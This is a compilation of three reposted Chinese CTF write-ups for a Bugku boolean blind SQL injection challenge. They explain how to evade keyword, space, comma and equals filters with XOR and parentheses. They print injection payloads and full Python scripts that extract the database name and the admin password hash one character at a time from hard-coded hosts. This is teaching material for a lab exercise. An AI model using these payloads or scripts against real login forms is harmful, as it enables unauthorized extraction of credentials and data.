轉載自:https://blog.csdn.net/zpy1998zpy/article/details/80667775
Bugku的一道題目,用到了布爾盲注,還過濾了and關鍵字,這裏用到了^(按位異或運算),正好記錄下過程和方法。總體寫的有點囉嗦,但是我不想讓跟我一樣入門的小白看教程看到一臉懵逼。
題目地址:http://123.206.31.85:49167/index.php
隨便輸入了幾個用戶名,返回用戶名不存在,並沒有對密碼進行檢驗。
那我們可以猜測是先查找用戶名,如果存在,再驗證密碼。
那下一步呢,我試了試admin用戶名,結果是存在的,返回密碼錯誤
這就驗證了我們的猜想,那現在注入點應該就是用戶名了。
然後試試在admin後加上單引號,但是返回是用戶名不存在
這意味着什麼呢?這說明即使語法錯誤,也不會在頁面上顯示報錯信息,
也就不能使用報錯注入了,我們發現有兩種返回信息:
username does not exist!和password error!,那我們可以利用這兩個返回值進行布爾盲注。
畢竟我也是第一次接觸到這種布爾型盲注,也當是小白掃盲吧,怎麼利用囉嗦幾句。
我們猜測後臺的驗證應該是先查找我們輸入的用戶名是否存在,大概是:
select password,username from users where username=”我們輸入的用戶名”
如果我們在where語句的結尾加上一個and連接的布爾判斷語句,就可以根據返回值判斷where條件是否成立,比如這道題就可以嘗試補成
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那麼就說明where語句是成立的,那麼我們補充的那就也是成立的,那麼就可以確定數據庫的第一位是a,然後再猜測第二位。
但是這道題過濾了and!!!
嘗試加上and返回:
經過嘗試發現還過濾了空格,逗號,等號,for
空格用括號代替,等號用<>(一種不等號)代替
那怎麼辦呢,這就用上了今天介紹的異或運算^,先說一下基本規則:
1^1=0 1^0=1 0^0=0
就是說只有兩個不同的布爾值運算結果爲1,其他爲零
不過在這裏用的時候先不要按這個規則去推,因爲在我們用到的三個值的布爾運算的sql語句中完全相反,我還沒有搞明白,誰懂得話,給我評論下。
首先說下這裏我們要補上兩個布爾值,這個最後再說爲什麼。
先猜數據庫名,基本語句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解釋一下爲什麼,爲了繞過空格過濾,用括號隔開,過濾了等號,用不等號 <>代替,只要是布爾值就可以。mid()函數和substring()一樣,一種寫法是mid(xxx,1,1),另一種是mid(xxx,from 1 for 1)但是這裏過濾了for和逗號,那麼怎麼辦呢?
這裏用到了ascii()取ascii碼值的函數,如果傳入一個字符串那麼就會取第一個字符的字符的ascii碼值,這就有了for的作用,並且mid()函數是可以只寫from的表示從第幾位往後的字符串,我們將取出的字符串在傳入ascii()中取第一位,就完成了對單個字符的提取。
每個字符的ascii碼判斷是不是不等於給定的數字,會得到一個布爾值(0或1)再與結尾的0進行運算。
如果數據庫名的第一位的ascii碼值不是97,where條件是username=’admin’^1^0
返回值是username does not exist!
如果數據庫名的第一位的ascii碼值是97,where條件是username=’admin’^0^0
返回值會是password error!
這就構成了布爾報錯注入。
有人可能疑問大部分的判斷都是無用的,就是說可能從97嘗試到120都是username does not exist!,那如何快速找到語句成立時的返回結果(password error!)。這裏就是最後^0的妙用了,
因爲’admin’^0^0和’admin’^1^1是一樣的,我們可以構造後者來看前者成立時的情況。
補充一點,因爲這裏既是語法錯誤也不會報錯,有可能你輸入的語句就不可能成立,但你也不知道,就很麻煩了,不過可以改變最後是^0還是^1,如果改不改返回值相同,那就是有語法錯誤,如果不同就可以參照上一段了。這也是爲什麼要多加一個^0,看似多此一舉,其實好處多多。
就是說admin’^(ascii(mid(database()from(1)))<>97)^1# 就可以得到password error!
數據庫名最後可以得到是:blindsql
下一步猜表名,表名好像沒法暴力猜,因爲關鍵詞information被禁了!!!!那數據庫名就沒用了,哈哈哈,不過後面猜字段的值是一樣的原理,不虧不虧。
沒法用系統表,就不能像上面一樣爆破了,真的是猜了,是admin表,語句如下
admin’^(select(1)from(admin))^1# 返回password error!說明猜對了
猜字段 admin’^(select(count(password))from(admin))^1# 返回password error!說明猜對了。
爲什麼要用count()呢,因爲如果有多行數據也可能會報錯,會干擾判斷。
然後猜password的值,暴力猜解,與猜數據庫類似:
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
得到密碼的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密後登陸,得到flag
最後附上腳本
-
import requests
-
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
-
url="http://118.89.219.210:49167/index.php"
-
r=requests.session()
-
def databasere():
-
resutlt=""
-
for i in range(30):
-
fla = 0
-
for j in str_all:
-
playlod="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))
-
data = {
-
"username": playlod,
-
"password": "123"
-
}
-
s=r.post(url,data)
-
print(playlod)
-
if "error" in s.text:
-
resutlt+=j
-
print(resutlt)
-
if fla == 0:
-
break
-
def password():
-
resutlt=""
-
for i in range(40):
-
fla=0
-
for j in str_all:
-
playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
-
data = {
-
"username": playlod,
-
"password": "123"
-
}
-
s=r.post(url,data)
-
print(playlod)
-
if "error" in s.text:
-
resutlt+=j
-
fla=1
-
print('**************************',resutlt)
-
if fla==0:
-
break
-
#databasere()
-
password()
---------------------------------------------------------------------------------
轉載自:https://blog.csdn.net/qq_35078631/article/details/69488266?locationNum=9&fps=1
提示是盲注就很簡單了,構造如下
username='^(1)^1#&password=123
存在注入,猜測是盲注,然後fuzz一發發現過濾空格,用括號繞過,過濾了=,用<>饒過,mysql測試
mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>102));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>102) |
+----------------------------------------------------+
| 0 |
+----------------------------------------------------+
1 row in set (0.00 sec)
mysql> (select(ascii(mid((select(flag)from(flag))from(1)))<>103));
+----------------------------------------------------+
| (ascii(mid((select(flag)from(flag))from(1)))<>103) |
+----------------------------------------------------+
| 1 |
+----------------------------------------------------+
1 row in set (0.00 sec)
然後直接腳本測試
#!/usr/bin/env python
import requests,string,hashlib,re
url='http://47.93.190.246:49167/'
sss=string.digits+string.lowercase
headers={
'Host': '47.93.190.246:49167',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length':' 87',
'Referer':' http://47.93.190.246:49167/',
'Cookie': 'td_cookie=18446744071856012820',
'Connection':' keep-alive',
'Upgrade-Insecure-Requests':' 1'
}
answer=''
for i in range(1,50):
flag=0
for j in sss:
postuser="'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#"%(i,ord(j))
data = {'username':postuser,'password':'admin'}
html = requests.post(url,headers=headers,data=data) .text
html = re.findall(r"<p align='center'>(.*?)</p>",html,re.S)[0]
if 'username does not exist!' in html :
answer+=j
flag=1
print answer
break
if flag ==0 :
break
print 'password is ',answer
之後得出password解密得到密鑰,登陸得到flag
-----------------------------------------------------------------
轉載自:http://www.bugku.com/thread-82-1-1.html
盲注題,直接上腳本
```python
import requests
url = 'http://123.206.31.85:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
for j in range(48,123):
payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i,j)
data = {"username":payload,"password":"123"}
r = s.post(url,data=data)
if "password error!" in r.content:
result += chr(j)
print result
break
print "password: "+result
```